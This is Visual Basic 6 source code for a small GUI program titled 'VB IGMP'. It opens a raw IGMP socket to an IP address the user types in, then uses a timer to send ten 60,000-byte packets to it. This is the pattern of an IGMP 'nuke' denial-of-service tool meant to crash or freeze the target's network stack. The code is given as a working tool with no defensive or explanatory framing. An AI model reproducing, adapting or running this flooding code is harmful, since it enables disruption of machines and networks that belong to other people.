VB IGMP

Option Explicit
'*******************IGMP************************
Private Type SockAddr 
    sin_family As Integer
    sin_port As Integer
    sin_addr As String * 4
    sin_zero As String * 8
End Type

Private Type T_WSA 
    wVersion As Integer
    wHighVersion As Integer
    szDescription(0 To 255) As Byte
    szSystemStatus(0 To 128) As Byte
    iMaxSockets As Integer
    iMaxUdpDg As Integer
    lpVendorInfo As Long
End Type

Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal cb&)
Private Declare Function inet_addr Lib "wsock32.dll" (ByVal addr As String) As Long
Private Declare Function WSAStartup Lib "wsock32.dll" (ByVal a As Long, b As T_WSA) As Long
Private Declare Function WSACleanUp Lib "wsock32.dll" Alias "WSACleanup" () As Integer
Private Declare Function Socket Lib "wsock32.dll" Alias "socket" (ByVal afinet As Integer, ByVal socktype As Integer, ByVal protocol As Integer) As Long
Private Declare Function ConnectWinsock Lib "wsock32.dll" Alias "connect" (ByVal sock As Long, sockstruct As SockAddr, ByVal structlen As Integer) As Integer
Private Declare Function send Lib "wsock32.dll" (ByVal sock As Long, ByVal msg As String, ByVal msglen As Long, ByVal flag As Integer) As Long
Private Declare Function htons Lib "wsock32.dll" (ByVal a As Integer) As Integer
Private Declare Function closesocket Lib "wsock32.dll" (ByVal sn As Long) As Integer
Private sock As Long
Private t As Long 
Private Sub cmd_Go_Click()
If t > 0 Then
     t = 0
    Else
          Dim addr As SockAddr
          Dim x As Long
          Dim ip As String
          Dim y(0 To 3) As Byte
          ip = ""
          x = inet_addr(txt_IP.Text) 
          CopyMemory y(0), x, 4 
     For x = 0 To 3
       ip = ip & Chr(y(x))
     Next x
          addr.sin_addr = ip
          addr.sin_family = 2
          addr.sin_port = htons(100) 
          addr.sin_zero = String(8, 0)
         
     If ConnectWinsock(sock, addr, Len(addr)) Then 
        MsgBox "connect error"
        Exit Sub
     End If
     t = 10
     Set cmd_Go.Picture = Image1.Picture 
     Timer1.Enabled = True
End If
End Sub
Private Sub Form_Load()
Dim WSAData As T_WSA
Set cmd_Go.Picture = Image2.Picture 
    WSAStartup 514, WSAData 
    sock = Socket(2, 3, 2) 
     If sock < 0 Then
       MsgBox "winsock error"
       Unload Me
     End If
t = 0
End Sub
Private Sub Form_Unload(Cancel As Integer)
closesocket sock
WSACleanUp 
End Sub

Private Sub Timer1_Timer() 
If t Then
     send sock, String(60000, "0"), 60000, 0
     t = t - 1
Else
     Timer1.Enabled = False
     Set cmd_Go.Picture = Image2.Picture
End If
End Sub